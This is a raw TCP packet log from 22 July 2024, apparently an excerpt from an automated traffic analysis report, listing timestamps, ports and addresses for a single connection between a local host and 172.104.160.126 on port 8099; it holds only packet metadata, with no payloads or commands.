Jul 22, 2024 15:57:49.024929047 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024961948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.024986982 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.024993896 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025007010 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025027037 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025058985 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025088072 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025091887 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025125027 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025147915 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025152922 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025185108 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025217056 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025235891 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025249958 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025270939 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025283098 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025315046 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025343895 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025348902 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025381088 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025413036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025428057 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025469065 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025727034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025759935 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025790930 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025823116 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025841951 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025856972 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025877953 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025890112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025922060 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025943995 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.025954962 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.025986910 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.026012897 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.026020050 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.026051998 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.026084900 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.026103973 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.026118994 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.026144028 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.026952028 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.026985884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.027018070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.027021885 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.027070999 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.027074099 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.027103901 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.027141094 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.027159929 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.027175903 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.027231932 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.031219006 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.112725019 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.112741947 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.112756968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.112799883 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.112862110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.112875938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.112890005 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.112905025 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.112915039 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.112957954 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113143921 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113158941 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113173962 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113188028 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113204002 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113219023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113221884 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113221884 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113234997 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113250971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113265991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113270998 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113303900 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113333941 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113631964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113646984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113662958 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113714933 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113773108 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113786936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113801956 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113816977 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.113821030 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.113858938 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114078999 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114093065 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114108086 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114124060 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114136934 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114139080 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114154100 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114168882 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114177942 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114185095 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114202023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114213943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114260912 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114548922 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114564896 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114579916 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114595890 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114612103 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114618063 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114654064 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114692926 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114708900 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114722967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114737988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114753008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114757061 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114768028 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114783049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114795923 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114797115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114811897 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114828110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.114852905 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.114886999 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.115623951 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115639925 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115654945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115669012 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115684986 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115700960 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115701914 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.115715027 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115726948 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.115731001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115746975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115761995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115777969 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115781069 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.115793943 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115808964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115818024 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.115825891 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115834951 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.115840912 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.115858078 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.115900040 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.116472960 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116498947 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116513014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116528034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116542101 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116558075 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116560936 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.116573095 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116588116 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116602898 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116604090 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.116617918 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116632938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116647959 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116653919 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.116662025 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116676092 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116687059 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.116691113 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116703987 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.116705894 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.116724014 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.116765976 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.117398024 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117413998 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117436886 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117451906 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117465973 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.117465973 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117480993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117496967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117501974 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.117511988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117526054 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117527962 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.117542028 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117556095 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117572069 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117574930 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.117588043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117604017 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117609024 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.117619991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.117625952 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.117649078 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.118232965 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118248940 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118263006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118277073 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118292093 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118304014 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.118308067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118325949 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118340015 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.118343115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118357897 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.118396044 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.118422031 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.119112015 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119155884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119168997 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119219065 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.119251966 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119266033 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119282007 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119297981 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119316101 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.119343042 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.119415998 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119429111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.119493008 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206038952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206054926 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206067085 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206123114 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206159115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206171036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206181049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206193924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206207991 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206233978 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206478119 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206494093 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206505060 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206515074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206526041 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206530094 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206542015 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206547976 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206552982 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206562042 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206572056 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206583023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206593990 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206620932 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.206958055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206969023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206979036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.206990957 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207019091 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207045078 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207254887 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207266092 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207276106 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207285881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207304001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207304955 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207314968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207324028 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207328081 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207334042 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207345009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207351923 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207355022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207366943 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207375050 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207379103 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207389116 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207396984 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207401037 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207411051 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.207418919 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207441092 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.207462072 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.208286047 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208297014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208307028 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208317041 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208328009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208333969 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.208338976 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208348989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208359957 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208370924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208380938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208390951 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208403111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208414078 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.208414078 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.208415031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208424091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208436966 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208447933 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.208447933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.208470106 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.208503008 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.209433079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209445000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209455967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209465981 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209475994 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209486008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209496021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209506035 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209516048 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209526062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209531069 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.209538937 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209549904 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209562063 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209572077 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209582090 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209594011 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.209594011 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.209614992 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.209645987 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.210138083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210154057 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210164070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210174084 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210185051 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210195065 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210199118 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.210205078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210215092 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210225105 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210236073 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210246086 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210253000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.210256100 CEST	8099	49717	172.104.160.126	192.168.2.6
